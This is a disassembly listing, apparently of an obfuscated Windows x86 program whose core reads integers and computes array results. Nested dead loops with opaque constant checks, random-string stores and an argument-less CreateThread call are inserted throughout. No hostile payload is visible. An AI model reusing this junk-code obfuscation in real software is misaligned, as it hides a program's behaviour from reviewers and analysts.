call fcn.00417118
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x1900], eax
lea eax, [ebp - 0x1ba0]
push eax
lea ecx, [ebp - 0x2fa0]
call fcn.00417118
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3b4], eax
jmp 0x4e0ffb
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0x24]
jg 0x4e1041
mov eax, dword [ebp - 0x3b4]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x1778]
jle 0x4e103d
mov eax, dword [ebp - 0x3b4]
mov eax, dword [eax*4 + 0x2473908]
mov dword [ebp - 0x1778], eax
push 0x4c
lea ecx, [ebp - 0x2f70]
call fcn.0040171b
jmp 0x4e103f
jmp 0x4e1041
jmp 0x4e0fee
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3bc], eax
jmp 0x4e1059
mov eax, dword [ebp - 0x3bc]
dec eax
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x3bc]
cmp eax, dword [ebp - 0xc]
jl 0x4e109f
mov eax, dword [ebp - 0x3bc]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x1900]
jle 0x4e109b
mov eax, dword [ebp - 0x3bc]
mov eax, dword [eax*4 + 0x2473908]
mov dword [ebp - 0x1900], eax
push 0x52
lea ecx, [ebp - 0x2fa0]
call fcn.0040171b
jmp 0x4e109d
jmp 0x4e109f
jmp 0x4e104c
lea ecx, [ebp - 0x2f70]
call fcn.0040175f
mov esi, eax
lea ecx, [ebp - 0x2fa0]
call fcn.0040175f
cmp esi, eax
jbe 0x4e10cf
lea eax, [ebp - 0x2f70]
push eax
lea ecx, [ebp - 0x1ba0]
call fcn.00419e0d
jmp 0x4e10e1
lea eax, [ebp - 0x2fa0]
push eax
lea ecx, [ebp - 0x1ba0]
call fcn.00419e0d
lea ecx, [ebp - 0x2fa0]
call fcn.00401711
lea ecx, [ebp - 0x2f70]
call fcn.00401711
lea ecx, [ebp - 0x1ba0]
call fcn.0040175f
push eax
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x1ba0]
call fcn.0041722f
push eax
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x1ba0]
call fcn.00401711
mov edx, dword [ebp - 0x21b8]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1780], 0x7e9e
jge 0x4e1158
mov edx, dword [ebp - 0x2a48]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4e0408
jmp 0x4e03e2
jmp 0x4e03bc
mov eax, dword [ebp - 0x6a8]
mov ecx, dword [ebp - 0x1964]
push dword [ecx + eax*4]
lea ecx, [ebp - 0x30bc]
call fcn.004cb030
cmp dword [ebp - 0x1788], 0x44fa
jge 0x4e1199
push dword [ebp - 0x21c4]
call fcn.004f1488
pop ecx
lea edx, [ebp - 0x3064]
lea ecx, [ebp - 0x30bc]
call fcn.004cb434
movzx eax, al
test eax, eax
je 0x4e18ff
mov dword [ebp - 0x1908], 0x308
mov dword [ebp - 0x2818], str.mtch_murkooiar_fvfkrljf
cmp dword [ebp - 0x1908], 0x5b2
jle 0x4e126f
and dword [ebp - 0x6b0], 0
jmp 0x4e11ef
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0x68fa
jge 0x4e126f
and dword [ebp - 0x6b8], 0
jmp 0x4e1211
mov eax, dword [ebp - 0x6b8]
inc eax
mov dword [ebp - 0x6b8], eax
cmp dword [ebp - 0x6b8], 0xe91
jge 0x4e126a
mov eax, dword [ebp - 0x6b0]
sub eax, dword [ebp - 0x6b8]
cdq
mov dword [ebp - 0x22ec], eax
mov dword [ebp - 0x22e8], edx
push dword [ebp - 0x22e8]
push dword [ebp - 0x22ec]
lea ecx, [ebp - 0x3240]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3240]
call fcn.00401711
jmp 0x4e1204
jmp 0x4e11e2
mov dword [ebp - 0x14bc], 0x7964
cmp dword [ebp - 0x1908], 0xffffff74
jge 0x4e1291
push dword [ebp - 0x2818]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x2218], str.kdwod_cmy_awfbxrv_lwo_dplcclj_alla_lsilk_ngsc_erq_uva_whjbcvra_mgxmgnatp_rvfb_vqemfuo
mov dword [ebp - 0x1798], 0x2e18
mov dword [ebp - 0x2558], str.eattxayw_dpumngo_ieau_kwhebckro_jkxpqdeex
cmp dword [ebp - 0x1798], 0x2ea8
jle 0x4e15aa
and dword [ebp - 0x6f8], 0
jmp 0x4e12d5
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0x1de9
jge 0x4e15aa
mov dword [ebp - 0x1790], 0x5d85
mov dword [ebp - 0x2554], str.jyw_qhpa_qsingovf_hmbhyfn_kmtxj_krlit_haitl_xece_seynn
cmp dword [ebp - 0x1790], 0x6092
jle 0x4e13e2
and dword [ebp - 0x6d8], 0
jmp 0x4e131f
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 0x773d
jge 0x4e13e2
and dword [ebp - 0x6c0], 0
jmp 0x4e1345
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 0x60ff
jge 0x4e13dd
and dword [ebp - 0x6c8], 0
jmp 0x4e136b
mov eax, dword [ebp - 0x6c8]
inc eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0x5d49
jge 0x4e13d8
and dword [ebp - 0x6d0], 0
jmp 0x4e138d
mov eax, dword [ebp - 0x6d0]
inc eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 0x696c
jge 0x4e13d6
mov eax, dword [ebp - 0x6c0]
sub eax, dword [ebp - 0x6c8]
sub eax, dword [ebp - 0x6d0]
and eax, dword [ebp - 0x6d8]
cdq
mov dword [ebp - 0x22f8], eax
mov dword [ebp - 0x22f4], edx
push dword [ebp - 0x22f4]
push dword [ebp - 0x22f8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e1380
jmp 0x4e135e
jmp 0x4e1338
jmp 0x4e1312
and dword [ebp - 0x6e0], 0
jmp 0x4e13f8
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0x42a
jge 0x4e14b3
and dword [ebp - 0x6e8], 0
jmp 0x4e141e
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0x41c8
jge 0x4e14ae
and dword [ebp - 0x6f0], 0
jmp 0x4e1444
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 0x573b
jge 0x4e14a9
mov eax, dword [ebp - 0x6e0]
sub eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x6f0]
or eax, dword [ebp - 0x6f8]
cdq
mov dword [ebp - 0x2304], eax
mov dword [ebp - 0x2300], edx
push dword [ebp - 0x2300]
push dword [ebp - 0x2304]
lea ecx, [ebp - 0x3270]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3270]
call fcn.00401711
jmp 0x4e1437
jmp 0x4e1411
jmp 0x4e13eb
cmp dword [ebp - 0x1790], 0x5bb9
jge 0x4e15a5
mov dword [ebp - 0x21d0], 0x1a44
cmp dword [ebp - 0x21d0], 0xcc9
jge 0x4e1595
and dword [ebp - 0x12e0], 0
lea eax, [ebp - 0x21dc]
push eax
lea eax, [ebp - 0x2940]
push eax
lea eax, [ebp - 0x21f4]
push eax
lea eax, [ebp - 0x2a74]
push eax
lea eax, [ebp - 0x21e8]
push eax
lea eax, [ebp - 0x2820]
push eax
push str._d__d__d__d__d__d
call fcn.004f117c
add esp, 0x1c
mov eax, dword [ebp - 0x2940]
mov dword [ebp - 0x3c4], eax
jmp 0x4e1536
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x3c4]
cmp eax, dword [ebp - 0x21dc]
jg 0x4e1583
mov eax, dword [ebp - 0x3c4]
cdq
idiv dword [ebp - 0x2820]
mov eax, edx
cdq
idiv dword [ebp - 0x21e8]
mov eax, edx
cdq
idiv dword [ebp - 0x2a74]
mov eax, edx
cdq
idiv dword [ebp - 0x21f4]
cmp dword [ebp - 0x3c4], edx
jne 0x4e1581
mov eax, dword [ebp - 0x12e0]
inc eax
mov dword [ebp - 0x12e0], eax
jmp 0x4e1529
push dword [ebp - 0x12e0]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
mov edx, dword [ebp - 0x2554]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4e12c8
cmp dword [ebp - 0x14bc], 0x7d2f
jle 0x4e16fa
and dword [ebp - 0x700], 0
jmp 0x4e15d0
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 0x7086
jge 0x4e16fa
and dword [ebp - 0x708], 0
jmp 0x4e15f6
mov eax, dword [ebp - 0x708]
inc eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 0x5d51
jge 0x4e16f5
mov dword [ebp - 0x2200], 0x24ca
cmp dword [ebp - 0x2200], 0xf23
jge 0x4e16a5
lea eax, [ebp - 0x196c]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [ebp - 0x196c]
and eax, 0x80000001
jns 0x4e1643
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4e168a
cmp dword [ebp - 0x196c], 2
jne 0x4e166d
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4e1688
push fcn.0041c2ab
mov edx, 0xab5934
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4e16a5
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
mov eax, dword [ebp - 0x700]
and eax, dword [ebp - 0x708]
cdq
mov dword [ebp - 0x2310], eax
mov dword [ebp - 0x230c], edx
push dword [ebp - 0x230c]
push dword [ebp - 0x2310]
lea ecx, [ebp - 0x32a0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x32a0]
call fcn.00401711
jmp 0x4e15e9
jmp 0x4e15c3
cmp dword [ebp - 0x1798], 0x2ae0
jge 0x4e1712
push dword [ebp - 0x2558]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x14b4], 0x6269
mov dword [ebp - 0x2560], str.ohsfjbfec_laoam_xeythmj_klgjr_sbwajafa_heikyy
cmp dword [ebp - 0x14b4], 0x631e
jle 0x4e17df
and dword [ebp - 0x710], 0
jmp 0x4e174c
mov eax, dword [ebp - 0x710]
inc eax
mov dword [ebp - 0x710], eax
cmp dword [ebp - 0x710], 0x7b2a
jge 0x4e17cd
and dword [ebp - 0x718], 0
jmp 0x4e176e
mov eax, dword [ebp - 0x718]
inc eax
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 0x36ba
jge 0x4e17c8
mov eax, dword [ebp - 0x710]
imul eax, dword [ebp - 0x718]
cdq
mov dword [ebp - 0x231c], eax
mov dword [ebp - 0x2318], edx
push dword [ebp - 0x2318]
push dword [ebp - 0x231c]
lea ecx, [ebp - 0x32d0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x32d0]
call fcn.00401711
jmp 0x4e1761
jmp 0x4e173f
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x14b0], 0x2709
mov dword [ebp - 0x220c], str.fkacynw_xgndnrvyy_hlyspksrt_rchxvhijp_rkppaca_fawng_jhcdrmpbf_pxbcsyas_rxounesps_ewjkko_fbnqwfe_hqqxs
cmp dword [ebp - 0x14b0], 0x2717
jle 0x4e18af
and dword [ebp - 0x720], 0
jmp 0x4e1819
mov eax, dword [ebp - 0x720]
inc eax
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 0xfb2
jge 0x4e18af
and dword [ebp - 0x728], 0
jmp 0x4e183f
mov eax, dword [ebp - 0x728]
inc eax
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0x5480
jge 0x4e18aa
and dword [ebp - 0x730], 0
jmp 0x4e1861
mov eax, dword [ebp - 0x730]
inc eax
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0x34b4
jge 0x4e18a8
mov eax, dword [ebp - 0x720]
cdq
idiv dword [ebp - 0x728]
imul edx, dword [ebp - 0x730]
mov eax, edx
cdq
mov dword [ebp - 0x2328], eax
mov dword [ebp - 0x2324], edx
push dword [ebp - 0x2324]
push dword [ebp - 0x2328]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e1854
jmp 0x4e1832
jmp 0x4e180c
mov byte [ebp - 0x3c], 1
cmp dword [ebp - 0x14b0], 0x2330
jge 0x4e18cf
mov edx, dword [ebp - 0x220c]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x14b4], 0x5f39
jge 0x4e18e7
push dword [ebp - 0x2560]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x14bc], 0x7696
jge 0x4e18ff
push dword [ebp - 0x2218]
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x30bc]
call fcn.0048d9b7
jmp 0x4e0364
cmp dword [ebp - 0x14c4], 0x5bb4
jge 0x4e1927
push dword [ebp - 0x2568]
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3064]
call fcn.0048d9b7
mov dword [ebp - 0x17dc], 0xd3b
mov dword [ebp - 0x2768], str.qis_cawqai_efq_dqip_lrx_kgei_pkfhc_rwtn_xref_qkpqgeak_wbxsibqhg_ixnl_vsagqy
cmp dword [ebp - 0x17dc], 0xeb1
jle 0x4e1a00
and dword [ebp - 0x748], 0
jmp 0x4e196c
mov eax, dword [ebp - 0x748]
inc eax
mov dword [ebp - 0x748], eax
cmp dword [ebp - 0x748], 0x302c
jge 0x4e1a00
and dword [ebp - 0x738], 0
jmp 0x4e1992
mov eax, dword [ebp - 0x738]
inc eax
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 0x5b40
jge 0x4e19fb
and dword [ebp - 0x740], 0
jmp 0x4e19b4
mov eax, dword [ebp - 0x740]
inc eax
mov dword [ebp - 0x740], eax
cmp dword [ebp - 0x740], 0x155e
jge 0x4e19f9
mov eax, dword [ebp - 0x738]
mov ecx, dword [ebp - 0x740]
sar eax, cl
or eax, dword [ebp - 0x748]
cdq
mov dword [ebp - 0x2334], eax
mov dword [ebp - 0x2330], edx
push dword [ebp - 0x2330]
push dword [ebp - 0x2334]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e19a7
jmp 0x4e1985
jmp 0x4e195f
movzx eax, byte [ebp - 0x3c]
test eax, eax
jne 0x4e1b94
mov dword [ebp - 0x2224], 0x19eb
cmp dword [ebp - 0x2224], 0x4be
jge 0x4e1b88
mov dword [ebp - 0x2eb4], 0x1b
and dword [ebp - 0x3fa8], 0
push 0x6c
push 0
lea eax, [ebp - 0x3fa4]
push eax
call fcn.004f3f10
add esp, 0xc
and dword [ebp - 0x750], 0
lea eax, [ebp - 0x750]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x140c], 1
jmp 0x4e1a7d
mov eax, dword [ebp - 0x140c]
inc eax
mov dword [ebp - 0x140c], eax
mov eax, dword [ebp - 0x140c]
cmp eax, dword [ebp - 0x750]
jg 0x4e1aeb
and dword [ebp - 0x14cc], 0
lea eax, [ebp - 0x14cc]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x3cc], 1
jmp 0x4e1abe
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x14cc]
jg 0x4e1ae9
mov eax, dword [ebp - 0x3cc]
mov eax, dword [ebp + eax*4 - 0x3fa8]
inc eax
mov ecx, dword [ebp - 0x3cc]
mov dword [ebp + ecx*4 - 0x3fa8], eax
jmp 0x4e1ab1
jmp 0x4e1a70
mov dword [ebp - 0x758], 1
jmp 0x4e1b04
mov eax, dword [ebp - 0x758]
inc eax
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x758]
cmp eax, dword [ebp - 0x750]
jg 0x4e1b7d
and dword [ebp - 0x12e8], 0
mov dword [ebp - 0x760], 1
jmp 0x4e1b32
mov eax, dword [ebp - 0x760]
inc eax
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 0x1b
jg 0x4e1b66
mov eax, dword [ebp - 0x750]
inc eax
sub eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x760]
cmp dword [ebp + ecx*4 - 0x3fa8], eax
jl 0x4e1b64
mov eax, dword [ebp - 0x12e8]
inc eax
mov dword [ebp - 0x12e8], eax
jmp 0x4e1b25
push dword [ebp - 0x12e8]
push 0xab64e4
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e1af7
push 0xab559b
call fcn.004f1b87
pop ecx
xor eax, eax
jmp 0x4e99fb
mov dword [ebp - 0x17cc], 0x2ad2
mov dword [ebp - 0x2760], str.bfhbnw_qlwpsao_cfqtoh_ssbrb_hjpphaib_inafcx_txpmrenoo_gwuc_bjmcok_kcipart_ncpptv_djtscrx_uaflr_rmyc
mov dword [ebp - 0x179c], 0x7c42
mov dword [ebp - 0x14d4], 0x6936
mov dword [ebp - 0x2570], str.oibosxq_kmo_hsmc
cmp dword [ebp - 0x14d4], 0x6b35
jle 0x4e1c7f
and dword [ebp - 0x778], 0
jmp 0x4e1bec
mov eax, dword [ebp - 0x778]
inc eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 0x5447
jge 0x4e1c7f
and dword [ebp - 0x768], 0
jmp 0x4e1c12
mov eax, dword [ebp - 0x768]
inc eax
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 0x67cb
jge 0x4e1c7a
and dword [ebp - 0x770], 0
jmp 0x4e1c34
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 0x5098
jge 0x4e1c78
mov eax, dword [ebp - 0x768]
imul eax, dword [ebp - 0x770]
xor eax, dword [ebp - 0x778]
cdq
mov dword [ebp - 0x2340], eax
mov dword [ebp - 0x233c], edx
push dword [ebp - 0x233c]
push dword [ebp - 0x2340]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e1c27
jmp 0x4e1c05
jmp 0x4e1bdf
mov dword [ebp - 0x2738], str.gvvxl_klgacwjg_vvijlpuh_vcfq_nilbb_juvhpuecx
cmp dword [ebp - 0x14d4], 0x6867
jge 0x4e1ca5
mov edx, dword [ebp - 0x2570]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1534], 0x2fed
mov dword [ebp - 0x2590], str.vmnctsbg_hfdxyv_wwnbsguc_rnrkeyirx_rwcaydd_reqgpqcfh_jsgvcu_arsukhm_vunfxu
mov dword [ebp - 0x2230], 0x2444
cmp dword [ebp - 0x2230], 0x487
jge 0x4e1f9e
lea eax, [ebp - 0x134]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x134]
lea ecx, [ebp - 0x1b70]
call fcn.004179d7
and dword [ebp - 0x780], 0
jmp 0x4e1d0d
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x780]
cmp eax, dword [ebp - 0x134]
jge 0x4e1d3b
push dword [ebp - 0x780]
lea ecx, [ebp - 0x1b70]
call fcn.00417bb8
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e1d00
push dword [ebp - 0x134]
lea ecx, [ebp - 0x2a04]
call fcn.004179d7
push 0
lea ecx, [ebp - 0x1b70]
call fcn.00417bb8
cmp dword [eax], 0
jne 0x4e1d6a
mov dword [ebp - 0x14dc], 1
jmp 0x4e1d71
and dword [ebp - 0x14dc], 0
push 0
lea ecx, [ebp - 0x2a04]
call fcn.00417bb8
mov ecx, dword [ebp - 0x14dc]
mov dword [eax], ecx
mov dword [ebp - 0x288], 1
jmp 0x4e1d9f
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
mov eax, dword [ebp - 0x288]
cmp eax, dword [ebp - 0x134]
jge 0x4e1e06
push dword [ebp - 0x288]
lea ecx, [ebp - 0x1b70]
call fcn.00417bb8
cmp dword [eax], 0
jne 0x4e1dcf
mov dword [ebp - 0x14e4], 1
jmp 0x4e1dd6
and dword [ebp - 0x14e4], 0
mov eax, dword [ebp - 0x288]
dec eax
push eax
lea ecx, [ebp - 0x2a04]
call fcn.00417bb8
mov esi, dword [eax]
add esi, dword [ebp - 0x14e4]
push dword [ebp - 0x288]
lea ecx, [ebp - 0x2a04]
call fcn.00417bb8
mov dword [eax], esi
jmp 0x4e1d92
push dword [ebp - 0x134]
lea ecx, [ebp - 0x29f4]
call fcn.004179d7
mov eax, dword [ebp - 0x134]
dec eax
push eax
lea ecx, [ebp - 0x1b70]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4e1e3b
mov dword [ebp - 0x14ec], 1
jmp 0x4e1e42
and dword [ebp - 0x14ec], 0
mov eax, dword [ebp - 0x134]
dec eax
push eax
lea ecx, [ebp - 0x29f4]
call fcn.00417bb8
mov ecx, dword [ebp - 0x14ec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
dec eax
dec eax
mov dword [ebp - 0x290], eax
jmp 0x4e1e7a
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0
jl 0x4e1edc
push dword [ebp - 0x290]
lea ecx, [ebp - 0x1b70]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4e1ea5
mov dword [ebp - 0x14f4], 1
jmp 0x4e1eac
and dword [ebp - 0x14f4], 0
mov eax, dword [ebp - 0x290]
inc eax
push eax
lea ecx, [ebp - 0x29f4]
call fcn.00417bb8
mov esi, dword [eax]
add esi, dword [ebp - 0x14f4]
push dword [ebp - 0x290]
lea ecx, [ebp - 0x29f4]
call fcn.00417bb8
mov dword [eax], esi
jmp 0x4e1e6d
and dword [ebp - 0x788], 0
and dword [ebp - 0x3d4], 0
jmp 0x4e1ef9
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d4]
cmp eax, dword [ebp - 0x134]
jge 0x4e1f6b
push dword [ebp - 0x3d4]
lea ecx, [ebp - 0x2a04]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x3d4]
lea ecx, [ebp - 0x29f4]
call fcn.00417bb8
mov ecx, dword [esi]
add ecx, dword [eax]
mov dword [ebp - 0x14fc], ecx
mov eax, dword [ebp - 0x788]
cmp eax, dword [ebp - 0x14fc]
jle 0x4e1f51
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x1504], eax
jmp 0x4e1f5d
mov eax, dword [ebp - 0x14fc]
mov dword [ebp - 0x1504], eax
mov eax, dword [ebp - 0x1504]
mov dword [ebp - 0x788], eax
jmp 0x4e1eec
push dword [ebp - 0x788]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x29f4]
call fcn.00417aef
lea ecx, [ebp - 0x2a04]
call fcn.00417aef
lea ecx, [ebp - 0x1b70]
call fcn.00417aef
cmp dword [ebp - 0x1534], 0x319b
jle 0x4e208c
and dword [ebp - 0x7a8], 0
jmp 0x4e1fc4
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 0x2db2
jge 0x4e208c
and dword [ebp - 0x790], 0
jmp 0x4e1fea
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 0x35a4
jge 0x4e2087
and dword [ebp - 0x798], 0
jmp 0x4e2010
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 0x530d
jge 0x4e2082
and dword [ebp - 0x7a0], 0
jmp 0x4e2032
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 0x19c4
jge 0x4e2080
mov eax, dword [ebp - 0x790]
cdq
idiv dword [ebp - 0x798]
mov ecx, dword [ebp - 0x7a0]
shl edx, cl
or edx, dword [ebp - 0x7a8]
mov eax, edx
cdq
mov dword [ebp - 0x234c], eax
mov dword [ebp - 0x2348], edx
push dword [ebp - 0x2348]
push dword [ebp - 0x234c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e2025
jmp 0x4e2003
jmp 0x4e1fdd
jmp 0x4e1fb7
mov dword [ebp - 0x2578], 0x23a2
cmp dword [ebp - 0x2578], 0x98e
jge 0x4e2146
lea eax, [ebp - 0x223c]
push eax
lea eax, [ebp - 0x150c]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x3dc], 0
jmp 0x4e20d7
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x3dc]
cmp eax, dword [ebp - 0x150c]
jge 0x4e2110
mov eax, dword [ebp - 0x3dc]
lea eax, [eax*4 + 0x2a64ad0]
push eax
mov eax, dword [ebp - 0x3dc]
lea eax, [eax*4 + 0x271f838]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
jmp 0x4e20ca
push 0x3e04
push 0xffffffffffffffff
push 0x2999b08
call fcn.004caaff
add esp, 0xc
push dword [ebp - 0x223c]
mov eax, dword [ebp - 0x150c]
dec eax
push eax
call fcn.004cc787
pop ecx
pop ecx
push eax
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
cmp dword [ebp - 0x179c], 0x7ee2
jle 0x4e2631
mov dword [ebp - 0x152c], 0x4658
mov dword [ebp - 0x2588], str.xbflfuaa_pbddq_uwolmyyl_shksyb_rlcvk_vpkoggvv_soqupr_khulxcnal_shcahjfxx_vajdfke_bejqkgt_havblxj
cmp dword [ebp - 0x152c], 0x48e2
jle 0x4e253a
and dword [ebp - 0x7d0], 0
jmp 0x4e2190
mov eax, dword [ebp - 0x7d0]
inc eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 0x14a2
jge 0x4e253a
mov dword [ebp - 0x2580], 0x22cf
cmp dword [ebp - 0x2580], 0x6fb
jge 0x4e2485
lea eax, [ebp - 0x2248]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x13b0], 1
jmp 0x4e21e6
mov eax, dword [ebp - 0x13b0]
inc eax
mov dword [ebp - 0x13b0], eax
mov eax, dword [ebp - 0x13b0]
cmp eax, dword [ebp - 0x2248]
jg 0x4e2485
lea eax, [ebp - 0x7b0]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x298], 0
jmp 0x4e2221
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x298]
cmp eax, dword [ebp - 0x7b0]
jge 0x4e2268
mov eax, dword [ebp - 0x298]
lea eax, [ebp + eax*4 - 0x3d20]
push eax
mov eax, dword [ebp - 0x298]
lea eax, [ebp + eax*4 - 0x3ee8]
push eax
mov eax, dword [ebp - 0x298]
lea eax, [ebp + eax*4 - 0x3198]
push eax
push str._d__d__d
call fcn.004f117c
add esp, 0x10
jmp 0x4e2214
lea eax, [ebp - 0x7b8]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x168], 0
jmp 0x4e2291
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x7b0]
jge 0x4e2350
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x1f4], eax
jmp 0x4e22bf
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [ebp - 0x7b0]
jge 0x4e234b
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp + eax*4 - 0x3198]
cmp eax, dword [ebp + ecx*4 - 0x3198]
jle 0x4e2346
mov eax, dword [ebp - 0x1f4]
lea edx, [ebp + eax*4 - 0x3198]
mov eax, dword [ebp - 0x168]
lea ecx, [ebp + eax*4 - 0x3198]
call fcn.0041c233
mov eax, dword [ebp - 0x1f4]
lea edx, [ebp + eax*4 - 0x3ee8]
mov eax, dword [ebp - 0x168]
lea ecx, [ebp + eax*4 - 0x3ee8]
call fcn.0041c233
mov eax, dword [ebp - 0x1f4]
lea edx, [ebp + eax*4 - 0x3d20]
mov eax, dword [ebp - 0x168]
lea ecx, [ebp + eax*4 - 0x3d20]
call fcn.0041c233
